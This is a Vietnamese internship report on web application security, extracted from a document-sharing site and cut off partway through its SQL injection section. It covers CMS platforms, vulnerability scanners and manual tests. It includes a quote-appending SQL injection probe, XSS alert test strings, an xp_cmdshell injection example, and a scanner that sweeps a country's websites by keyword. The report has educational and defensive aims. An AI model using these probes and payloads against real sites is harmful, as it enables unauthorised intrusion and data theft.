1. Trang chủ
  2. » Tất cả

Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application

49 1K 8

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 49
Dung lượng 6,54 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Công việc thực tập 2.1 Bộ phận thực tập và công việc thực tập - Bộ phận thực tập: Nghiên cứu tại bộ phận Công nghệ thông tin của Trung tâm - Công việc thực tập: Áp dụng các kiến thức đã

Trang 1

MỤC LỤC CHƯƠNG I – GIỚI THIỆU VỀ DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP 1. Giới thiệu về doanh nghiệp

2. Công việc thực tập

2.1Bộ phận thực tập và công việc thực tập

2.2Thời gian thực tập, cán bộ phụ trách

CHƯƠNG II – NỘI DUNG THỰC TẬP

1 Tình hình an ninh mạng hiện nay

2 Khái niệm, cấu trúc và cách hoạt động của Web Application

2.1 Khái niệm về Web Application

2.2 Cấu trúc và cách hoạt động của Web Application

3. Giới thiệu các Web Application được tạo bởi WORDPRESS, JOOMLA, vBulletin………

3.1 WordPress………

3.2 Joomla……….

3.3 vBulletin……….

4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application

4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application

4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application

4.2.1 Paros Proxy

4.2.2 Acunetix Web Vulnerability Scanner

4.2.3 Maxisploit Scanner

5. Một số lỗ hổng bảo mật Web Application

5.1 Lỗi SQL Injection

5.1.1 Khái niệm

5.1.2 Các dạng tấn công

5.1.3 Cách thức và phương pháp tấn công

5.1.4 Cách phòng chống và bảo mật

4.2 Lỗi Cross Site Scripting (XSS)

5.2.1 Khái niệm

5.2.2 Các dạng tấn công

5.2.3 Cách thức và phương pháp tấn công

5.2.4 Cách phòng chống và bảo mật

5.3 Lỗi Cross-site Request Forgery (CSRF)

5.3.1 Khái niệm

5.3.2 Các dạng tấn công

5.3.3 Cách thức và phương pháp tấn công

5.3.4 Cách phòng chống và bảo mật

5.4 Một số lỗ hổng Web Application khác nổi bật hiện nay

5.4.1 Lỗi Heartbleed

Trang 2

5.4.2 Khai thác qua Phishing

6 Một số Tool Khai thác lỗ hổng bảo mật Web Application

6.1 Havij

6.1.1 Giới thiệu

6.1.2 Đặc điểm

6.1.3 Cách hoạt động

6.2 Sqlmap

5.2.1 Giới thiệu

5.2.2 Đặc điểm

5.2.3 Cách hoạt động

7 Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật

7.1 Từ lỗi SQL Injection

7.2 Từ lỗi Cross Site Scripting (XSS)

7.3 Từ lỗi Cross-site Request Forgery (CSRF)

CHƯƠNG III – KẾT QUẢ THỰC TẬP 1. Khảo sát danh sách một số Web Application có lỗi bảo mật

2. Khai thác và tấn công một số Web Application có lỗi bảo mật

3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể

CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT 1. Đối với Sinh viên thực tập

2. Đối với Doanh nghiệp thực tập

3. Đối với Nhà trường

CHƯƠNG V – TÀI LIỆU THAM KHẢO

Trang 3

DANH SÁCH HÌNH VẼ

Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 3: Công nghệ Web 2.0

Hình 4: Một Web Application

Hình 5: Thành phần của một Web Application

Hình 6: Cách thức hoạt động của một Web Application

Hình 7: Cách thức hoạt động của một Web Application

Hình 8: Giao diện chương trình của Paros Proxy

Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy

Hình 10: Giao diện của Acunetix Web Vulnerability Scanner

Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner

Hình 12 Giao diện làm việc Maxisploit Scanner

Hình 13 Kết quả Scan Website của Maxisploit Scanner

Hình 14 Phương pháp luận của tấn công SQL Injection

Hình 15 Các dạng tấn công SQL Injection

Hình 16 Các cách phát hiện tấn công SQl Injection

Hình 17 Cách phòng chồng tấn công SQL Injection

Hình 18 Cách phòng chồng tấn công SQL Injection

Hình 19 Quy trình tấn công XSS đơn giản

Hình 20 Ví dụ tấn công XSS thông qua Email

Hình 21 Ví dụ tấn công XSS bằng ăn cắp Cookies

Hình 22 Quy trình của tấn công XSS

Hình 23 Quy trình tấn công CSRF

Hình 24 Cách thức tấn công chung của tấn công CSRF

Hình 25 Cách thức tấn công chung của tấn công CSRF

Hình 26 Mô hình tấn công CSRF theo phương thức POST

Hình 27 Giao diện làm việc của Havij

Hình 28: Giao diện làm việc của Sqlmap

Hình 29 Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council Hình 30 Các site bị lỗi SQL injection được quét bằng Maxisploit

Trang 4

CHƯƠNG I – GIỚI THIỆU DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP

1 Giới thiệu về doanh nghiệp

thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năngđộng, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vàocông cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn,góp phần phát triển nước nhà

Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA

Lĩnh vực hoạt động chính:

Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu

quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của cáchãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH, Song song đó,

trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo

đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , Ngân hàng, Doanhnghiệp, các cơ quan Chính phủ, tổ chức Tài chính và nhiều học viên tốt nghiệp tạitrung tâm đã là chuyên gia đảm nhận nhiều vị trí tại các cơ quan trên

Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình hợp

tác và trao đổi công nghệ với nhiều đại học lớn như Đại học Bách Khoa Thành Phố

Hồ CHính Minh, Đại học An Ninh Nhân Dân, Học viện Công nghệ Bưu chính Viễnthông, Hiệp hội an toàn thông tin (VNISA), ĐH Công nghệ Thông tin, Hội Tin học

Tp Hồ Chí Minh (HCA), v v…

Đội ngũ giảng viên, nhân viên:

học hàng đầu trong nước Tất cả giảng viên ATHENA đều phải có các chứng chỉ

quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc

tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ

ATHENA thường đi tu nghiệp và cập nhật kiến thức công nghệ mới từ các nước tiên

tiến như Mỹ , Pháp, Hà Lan, Singapore, và truyền đạt các công nghệ mới này trongcác chương trình đào tạo tại trung tâm ATHENA

Trang 5

Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA

2 Công việc thực tập

2.1 Bộ phận thực tập và công việc thực tập

- Bộ phận thực tập: Nghiên cứu tại bộ phận Công nghệ thông tin của Trung tâm

- Công việc thực tập: Áp dụng các kiến thức đã học ở trường và tài liệu bênngoài để tìm hiểu về các lỗ hổng bảo mật Web Application, công cụ tấn công,cách thức tấn công và bảo mật Web Application, cụ thể tìm hiểu cách hoạtđộng của một Web Application, các công cụ và phương pháp phát hiện WebApplication bị lỗi bảo mật, các lỗi bảo mật Web Application thường gặp hiệnnay, cách thức hoạt động hay tấn công của lỗi bảo mật đó, từ ấy áp dụng vàomột số Web Application hiện tại khảo sát được và đưa ra giải pháp phòngchống

2.2 Thời gian thực tập và cán bộ hướng dẫn

Trang 6

CHƯƠNG II – NỘI DUNG THỰC TẬP

1 Tình hình an ninh mạng hiện nay

Chỉ tính từ đầu năm 2012 đến tháng 3/2013, trung bình mỗi ngày có tới 6 websitetại Việt Nam bị tấn công, tương ứng với hơn 2.000 website bị tấn công mỗi năm.Trên 70% các trang web có lỗ hổng có thể dẫn đến các hành vi trộm cắp dữ liệu vàphá hoại của các công ty, tổ chức, cá nhân như: Thông tin thẻ tín dụng hay danh sáchkhách hàng, đánh cắp bí mật thương mại, lừa đảo, phát tán, thay đổi nội dung, chiếmquyền điều khiển, phá hoại hoạt động,…v v

Khả năng có thể truy cập 24/7 từ bất cứ nơi nào trên thế giới hay các ứng dụngweb không an toàn thường cung cấp truy cập dễ dàng đến cơ sở dữ liệu là một sơ hởlớn cho phép tin tặc có thể thực hiện các hoạt động bất hợp pháp bằng cách sử dụngcác trang web đã tấn công Hầu hết nguyên nhân của các vụ tấn công này là dowebsite tồn tại nhiều lỗ hổng bảo mật

Một điều đáng lo ngại nữa là đối với các cá nhân, tổ chức và doanh nghiệp,CNTT nói chung và các ứng dụng web nói riêng đang trở thành một trong các nhân

tố, công cụ đắc lực hỗ trợ tăng hiệu suất làm việc và lợi nhuận, hiểu quả kinh tế caocho họ, nhưng sự quan tâm, và chi phí bỏ ra cho lĩnh vực bảo trì, bảo mật lại khôngđáng kể Đồng thời các mói nguy hiểm đe dọa ngày càng mới và phát triển phức tạphơn, khả năng tấn công và khai thác của các kẻ xấu đã tăng lên rõ rệt, các mã độc,phần mềm độc hại, virut trở nên khó phát hiện và tiêu diệt hơn

Vì vậy vấn đề an ninh mạng nói chung và bảo mật Web Application nói riêngđang là một vấn đề quan trọng và cấp bách cần phải được nghiên cứu, tìm hiểu vàđưa ra các giải pháp và kỹ thuật mới để phòng tránh, đồng thời cá nhân, tổ chức vàdoanh nghiệp cũng cần dành nhiều thời gian, kinh phí, nhân lực kỹ thuật để đảm bảocho hệ thống mạng cũng như Web Application của mình hoạt động tốt, có khả năngchống chọi và ngăn chặn trước các mối nguy hiểm và các cuộc tấn công

2 Khái niệm, cấu trúc và cách hoạt động của Web Application

2.1 Khái niệm về Web Application

Web Application hay còn gọi là ứng dụng web là một chương trình hay phầnmềm ứng dụng chạy trên nền tảng web, web application thường được cài trên máychủ của một Web Server nào đó trên mạng internet, người dùng truy cập internet và

sử dụng ứng dụng này thông qua một trình duyệt web

Web Application trở nên phổ biến cùng với sự phát triển của các trình duyệtweb, khả năng cập nhật và duy trì hoạt động của ứng dụng web rất dễ dàng màkhông cần phải cài đặt hay phân phối Những ứng dụng web thường có giao diện,đẹp, phong phú, giúp người dùng dễ dàng tương tác và sử dụng

Một số ứng dụng web phổ biến hiện nay như: Webmail, bán hàng trực tuyến,wiki, từ điển, bản đồ, mạng xã hội v…v Xu hướng website tương tác đang pháttriển mạnh với sự ra đời của Web 2.0, 1 thuật ngữ bao gồm nhiều công nghệ đã có,nhưng có nhiều tính năng tương tác cao, người dùng là trung tâm

Hình 3: Công nghệ Web 2.0

Trang 7

Hình 4: Một Web Application

2.2 Cấu trúc và cách hoạt động của Web Application

Một ứng dụng Web thông thường được cấu trúc như một ứng dụng ba lớp Ởdạng phổ biến nhất, một trình duyệt Web là lớp thứ nhất, một bộ máy sử dụng mộtvài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java,PHP, Python, hoặc Ruby On Rail) là lớp giữa, và một cơ sở dữ liệu là lớp thứ ba.Trình duyệt sẽ gửi yêu cầu đến lớp giữa, lớp giữa sẽ phục vụ bằng cách tạo ratruy vấn và cập nhật cơ sở dữ liệu và tạo ra giao diện người dùng

Cụ thể người dung khởi tạo yêu cầu ban đầu bằng trình duyệt thông qua Internetđến máy chủ ứng dụng web Ứng dụng web sẽ truy cập vào máy chủ cơ sở dữ liệu đểthực hiện các nhiệm vụ yêu cầu và lấy các thông tin nằm trong cơ sở dữ liệu Cácứng dụng web sau đó trình bày các thông tin lấy được cho người sử dụng thông quatrình duyệt

Hình 5: Thành phần của một Web Application

Trang 8

Hình 6: Cách thức hoạt động của một Web Application

Hình 7: Cách thức hoạt động của một Web Application

Trang 9

3 Giới thiệu các Web Application được tạo bởi WordPress, Joomla, VBB

Ngày nay, việc sở hữu trong tay một trang Blog, Website hay diễn đàn cá nhânmiễn phí trở nên rất dễ dàng bởi sự phát triển nhanh chóng của các mã nguồn mởcũng như các dịch vụ và công cụ hỗ trợ tạo ra chúng Mã nguồn mở là một bộ khung,thư viện được một tổ chức uy tín trên thế giới đứng ra phát triển và chia sẻ cùng vớihàng nghìn lập trình viên rải rác trên thế giới Người quản trị cần có sự hiểu biết vềcác mã nguồn mở để có thể thiết kế, xây dựng, cài đặt và hướng dẫn để vận hànhtrang web Nếu xét đến chi phí để thiết kế, cài đặt và xây dựng một trang bằng mãnguồn mở thì là khá rẻ nhưng thường là miễn phí với những ai tự làm Web đượcviết bằng mã nguồn mở cũng có nhiều phiên bản, được cập nhật và hỗ trợ khá nhanh

3.1 WordPress

WordPress là một mã nguồn mở và hoàn toàn miễn phí để làm blog, trang web cánhân, WordPress được viết bằng ngôn ngữ lập trình PHP và sử dụng MySQLdatabase WordPress là một trong những mã nguồn được sử dụng nhiều nhất bởi khảnăng tùy biến cao, dễ sử dụng và sự phổ biến của nó

Đặc tính nổi bật

- Hệ thống Plugin phong phú và cập nhật liên tục, bạn cũng có thể tự viết plugin

- Hỗ trợ nhiều ngôn ngữ

- Được cập nhật, vá lỗi và hỗ trợ liên tục

- Có rất nhiều Theme miễn phí, chuyên nghiệp và SEO rất tốt

- Tích hợp sẵn Latex – công cụ soạn thảo công thức toán học, bạn có thể viết côngthức toán học ngay trong bài viết

- Upload và quản lý hình ảnh một cách dễ dàng, đặc biệt là chức năng tạothumbnail

số người truy cập, danh sách các bài viết mới, các bài viết nổi bật, được xemnhiều, được comment nhiều, v v

- Hệ thống phân quyền với nhiều cấp độ khác

- Hệ thống quản lý và duyệt Comment rất hay, có thể chặn spam theo IP

LiveJournal

Trang 10

- WordPress hỗ trợ 3GB để lưu trữ hình ảnh và văn bản

Nhược điểm của WordPress

- Cần phải cài đặt, tạo database ban đầu

- Muốn tùy biến WordPress hay chỉnh sửa template cần phải có kỹ năng lập trình

- Sử dụng các theme đẹp và plugin tốt thì phải trả phí

- Quá nhiều hàm có sẵn và các khái niệm khó

- Bị bộ phận hỗ trợ và quản lý của WordPress can thiệp khi thấy hoạt động củaWebsite có những thay đổi bất thường

Hình 8 WordPress

3.2 Joomla

Joomla là hệ thống quản trị nội dung mã nguồn mở, Joomla được viết bằng ngôn ngữ PHP và kết nối tới cơ sở dữ liệu MySQL, giúp chúng ta xây dựng các trang web cũng như các ứng dụng trực tuyến khá mạnh mẽ

Đặc tính nổi bật

các lập trình viên khắp nơi, từ những giao diện ở mức đơn giản cho tới phức tạp, hầu hết là miễn phí, giúp bạn có rất nhiều lựa chọn mở rộng tính năng cho

website của minh

- Dễ dàng tìm và sửa các lỗi gặp phải

liệu API dành cho lập trình viên, phát triển viên được cung cấp đầy đủ

Nhược điểm của Joomla

- Mã nguồn của Joomla tương đối lớn dẫn tới tốn nhiều tài nguyên hệ thống

tới tiềm ần các lỗi bảo mật trong các extensions đó

- Khả năng SEO của Joomla kém nhất trong các loại mã nguồn mở

Windows ISS

Trang 11

- Số lượng lệnh truy vấn đến SQL Server nhiều

Hình 9 Joomla

3.3 vBulletin

vBulletin là một sản phẩm phần mềm được viết bằng PHP và lấy MySQL làm cơ

sở dữ liệu, vBulletin dùng để xây dựng cộng đồng (forum) trên internet

Đặc điểm nổi bật

- Giao diện đẹp, tính bảo mật cao, quản lý dễ dàng, nhiều chức năng

- Có khá nhiều các Addon, Skin, Theme và Style khác nhau

- Chức năng cho người quản trị khá đầy đủ và có nhiều lự chọn

- Có thể sử dụng, chỉnh sửa, upload file lên host dễ dàng

- Có thể tải file backup để tạo lại diễn đàn mới

Nhược điểm của vBulletin

- Sự bảo mật và an toàn tùy thuộc vào khả năng, kiến thức, kinh nghiệm, sự cẩnthận của từng người quản trị

- ACP tuy đầy đủ chuyên nghiệp, nhưng phức tạp

- Tạo skin, theme phức tạp

- Tốc độ truy xuất dữ liệu còn hạn chế, chạy khá nặng với dung lượng dữ liệu lớn

và rất tốn bandwidth

- Tốn phí duy trì domain và host

Hình 10 vBulletin

Trang 12

4 Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application

4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application

a SQL Injection

Có một cách đơn giản để kiểm tra website của bạn có bị lỗi SQL injection haykhông:

Bước 1: Mở trình duyệt và gõ vào địa chỉ website cần kiểm tra.

Bước 2: Tìm một đường dẫn nào đó có dạng:

http://ten-website.com/?cid=1&pid=2

Sau đó bạn thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên: website-cua-ban.com/?cid=1&pid=2'

http://ten-Nếu bạn thấy dòng thông báo tương tự:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in

tức là website của bạn đang bị lỗi SQL Injection

b Cross Site Scripting (XSS)

Một site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau: search results, error messages, Web-form, chủ yếu lỗi XSS nằm ở các phần này, nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó Cách tìm lỗi để cho rõ ràng thì có thể chia thành 5 bước:

Bước 1: Mở website cần kiểm tra.

Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông

tin đi (nhập thông tin và nhấn submit, login hay ok gì đó )

Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông

tin trả về: Ví dụ như thế này :

• "Your search for 'XSS' did not find any items"

• "Your search for 'XSS' returned the following results"

• "User 'XSS' is not valid"

• "Invalid login 'XSS" hoặc là cái gì đó mà có dính tới chữ "XSS" mà mình

nhập vào ban đầu thì 99% "Alert" này bị XSS Chú ý: Các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào Hãy thửvới những script này: hoặc < i*g csstest=java script:alert('XSS')> hoặc có thể là

&{alert('XSS')};

c Cross-site Request Forgery (CSRF)

Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF là khá cao, tức là nếu chúng ta replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng Web, một số action gây ra việc thay đổi CSDL như insert, update, delete… dẫn đến lỗi này nằm ở chỗ các request sẽ insert, delete và update vào cơ sở dữ liệu Tại Website các request này có thể tồn tại trong những thẻ <IMG>,

<IFRAME>, trong các textbox hoặc button…

4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application

4.2.1 Paros Proxy

Paros Proxy là một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụngweb trên Proxy Một trang web trên nền Java thường kết hợp dạng proxy điều đódẫn tới có nhiều lỗ hổng bảo mật Phần mềm này hỗ trợ cho phép thay đổi/xemcác gói tin HTTP/HTTPS và thay đổi chúng ở cookies Bao gồm một tính năng

Trang 13

Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng

có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting Trước khicài đặt Paros Proxy bạn phải cài Java SE Runtime Environment 32 bit vì ParosProxy được viết trên nền tảng Java và chỉ chạy được trên JRE 32 bit

Hình 8: Giao diện chương trình của Paros Proxy

Hướng dẫn quét lỗ hổng bảo mật Website bằng Paros Proxy Tools

Bước 1 Mở chương trình vào Analyse -> Scan Policy để chỉnh sửa chính sách

Scan (thêm/bớt nếu muốn)

Bước 2 Tiếp theo vào Tool -> Options -> Local Proxy để chỉnh Local Proxy với

Address là localhost và Port là 8080

Bước 3 Tiếp theo vào máy tính chỉnh Proxy bằng cách vào Control Panel ->

Internet Options -> Connections -> LAN Setting chỉnh Local Proxy với Address

là localhost và Port là 8080

Bước 4 Tiếp theo vào trình duyệt Mozila Firefox để chỉnh Proxy bằng cách vào

Options -> Advanced -> Network -> Setting chỉnh Local Proxy với Address là127.0.0.1 và Port là 8080

Bước 5 Sau đó tìm 1 Website nghi ngờ bị lỗi sau đó cho chạy trên trình duyệt Bước 6 Tiếp theo vẫn ở Site đang chọn, nhìn vào khung bên phải có thể xem

được các thông tin của trang Web Server đang Scan như: phương thức(POST/GET), host, kiểu kết nối, tên miền phiên bản trình duyệt, ngôn ngữ, v.v

Bước 7 Tiếp theo nhìn vào bên trái giao diện chương trình, ở phần Site click vào

Site mình vừa chạy và vào Analyse -> Scan để tiến hành quét

Trang 14

Bước 8 Sau khi thấy có thông báo OK xuất hiện, tức là Scan xong thì vào Report

-> Last Scan Report để xem kết quả

Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy

4.2.2 Acunetix Web Vulnerability Scanner

Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tracác ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hayCross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăngnhập cũng như các phương thức xác thực vào Web Site Acunetix WVS là mộtcông cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở dữ liệu rộng lớn được cậpnhật thường xuyên, với các thuật toán Heuristic đáp ứng được các cơ chế họatđộng phức tạp của môi trường Web Acunetix WVS có thể tự động kiểm tra các

lổ hỗng thông dụng và các mối nhạy cảm khác của những web site có thể truy cậpbằng trình duyệt, hay những ứng dụng được xây dụng trên các kỹ thuật tiên tiến

Trang 15

như AJAX để thực hiện được điều này Acunetix WVS dựa trên nhiều phươngpháp và công cụ tích hợp để:

• Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trongtập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết

• Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, AcunetixWVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổhổng, giống như khi web site bị một hacker tấn công thực sự, phân tích các trang

• Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin đểphân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web master

dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của mình.Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserverđang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độSecurity của site đang quét, nhìn hình các bạn sẽ thấy những liệt kê rất cụ thể.Mức độ bảo mật của website được AWV đánh giá từ low, medium, high Nếuwebsite của bạn được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà AWV liệt kêCửa sổ tool Explorer cung cấp cho ta các công cụ WebScanner gồm Tool(Site Scrawler, Target Finder, Subdomain, Authentication, v v ), Web Service,Configuration, General chỉ cần nhấp chuột vào công cụ nào đó để AWV thựchiện nhiệm vụ của mình

Cửa sổ bên phải trên cùng 1 lần nữa liệt kê lại các công cụ

Dưới phần này là phần thao tác nhanh đến các dịch vụ như NewScan, SampleScan, Reporter, v v

Sau khi config chương trình hoàn tất, ta tiến hành quét, AWV sẽ cung cấp chobạn phiên bản của Webserver nếu detect được, các ứng dụng Web đang chạy,cổng mở, cấu trúc site, mức độ Secure, các URL có thể lợi dụng, ngôn ngữ, kiểukết nối và thông tin về cách khai thác, và quan trọng là các lỗi đang có

Hình 10: Giao diện của Acunetix Web Vulnerability Scanner

Trang 16

Hướng dẫn quét lỗ hổng bảo mật Website bằng Acunetix Web Vulnerability Scanner

Tạo 1 phiên Scan mới bằng cách vào click vào New Scan trên chương trình

Ở phần Scan Single Website gõ vào địa chỉ site cần scan

Tiếp theo click Next xuống tab Option để tùy chỉnh chính sách vá cấu hình Scan

ở phần Scan

Profile và Scan Testing mặc định để Default

Tiếp theo click vào Next để xuống tab Target, ở tùy chỉnh này chúng ta để mặcđịnh và click Next

Tiếp theo chuyển xuống tab Login phần này có thể để mặc định

Cuối cùng nhấn Finish -> OK và đợi Scan xong xem kết quả

Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner

Trang 17

4.2.3 Maxisploit Scanner

Maxisploit là phần mềm để Scan các lỗi Sql Injection và XSS trong cácwebsite Nó có thể scan một loạt các website của một nước dựa vào từ khóa màchúng ta chọn

Hình 12 Giao diện làm việc Maxisploit Scanner

Trang 18

Công cụ Maxisploit có bốn mục đích chính, như sau:

trên lỗi SQL phổ biển cho nhiều hệ quản trị cơ sở dữ liệu, như: MySQL,SQL server, Microsoft Access, Các scan khác nhau: nó sẽ quét các trangweb không hiển thị lỗi SQL nhưng dễ bị tổn thương

nhận được từ máy chủ web (web server) Nếu XSS vector được tìm thấybên trong mã nguồn thì trang web đó có lỗi Nó chỉ sử dụng yêu cầu GETđến web server

mặc định hay bất kì danh sách mà bạn cung cấp Nếu nhận hồi đáp với mã

200 và 306 thì được xem xét thành công

tích mã html cho các trang

Hình 13 Kết quả Scan của Maxisploit Scanner

5 Một số lỗ hổng bảo mật Web Application

5.1 Lỗi SQL Injection

5.1.1 Khái niệm

Ứng dụng Web cho phép User truy cập Website hợp pháp để up và tải dữ liệu

ra / vào một cơ sở dữ liệu qua Internet bằng cách sử dụng trình duyệt web ưathích của họ Cơ sở dữ liệu là trung tâm lưu trữ dữ liệu cần thiết cho các trangweb để cung cấp nội dung, thông tin cụ thể cho User và là cho thông tin chokhách hàng, nhà cung cấp, nhân viên và một loạt các bên liên quan

SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổngcủa việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗicủa hệ quản trị cơ sở dữ liệu trảvề để inject (tiêm vào) và thi hành các câu lệnhSQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các

Trang 19

thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí làserver mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web

có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,MySQL, Oracle, DB2, Sysbase Công cụ dùng để tấn công là chỉ cần một trìnhduyệt web bất kì, chẳng hạn như Internet Explorer, Mozila Firefox,Chrome,.v v

Hình 14 Phương pháp luận của tấn công SQL Injection

5.1.2 Các dạng tấn công

Dạng tấn công vượt qua kiểm tra lúc đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờvào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật,

hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin

về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống

sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định chophép hay từ chối thực hiện tiếp Ví dụ, trong trường hợp sử dụng ASP, người ta

có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để

xử lý thông tin nhập vào từ phía người dùng

Dạng tấn công sử dụng câu lệnh Select

Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấncông phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệthống để dò tìm các điểm yếu khởi đầu cho việc tấn công Ví dụ, trong các trangtìm kiếm, các trang có textbox Các trang này cho phép người dùng nhập vào cácthông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp để tìm kiếm Tương tựnhư trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trườngtên tác giả bằng chuỗi giá trị, Lúc này, ngoài câu truy vấn đầu không thành công,chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa Câu truyvấn này sẽ thực hiện việc mà hacker mong muốn trong câu lệnh của họ

Trang 20

Dạng tấn công sử dụng câu lệnh Insert

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản đểtham gia Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng

có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được dùng khi

hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào

Dạng tấn công sử dụng Stored-Procedures

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng đượcthực thi với quyền quản trị hệ thống 'sa' Ví dụ, nếu ta thay đoạn mã tiêm vàodạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: ' Lúc này hệ thống sẽ thực hiệnlệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộcvào câu lệnh đằng sau cmd.exe.fg

Hình 15 Các dạng tấn công SQL Injection

5.1.3 Cách thức và phương pháp tấn công

a Các con đường khai thác.

Qua User Input: User input điển hình thường đến từ các form nhập liệu,

form search hay link… Những dữ liệu này được web browser gửi đến serverthông qua phương thức HTTP GET hay POST và trở thành các tham số choứng dụng web truy cập tới cơ sở dữ liệu

Qua Cookies: Cookies là những tệp tin lưu trữ thông tin trạng thái của

người dùng khi truy cập các ứng dụng web Những thông tin này do người lậptrình quyết định, được tạo ra ở server và lưu trữ tại client Khi người dùng truycập lại ứng dụng web, cookies được browser gửi lên server giúp phục hồi lạinhững trạng thái của người dùng trong lần truy cập trước đó Do được lưu trữ ởclient nên người dùng có thể chỉnh sửa tùy ý, vì vậy nếu ứng dụng web sử dụngnhững thông tin lưu trong cookies để xây dựng các truy vấn tới cơ sở dữ liệu thìhacker hoàn toàn có thể chèn vào cookies những script sql để thực hiện mộtcuộc tấn công Sql Injection

Qua các biến Server

Trang 21

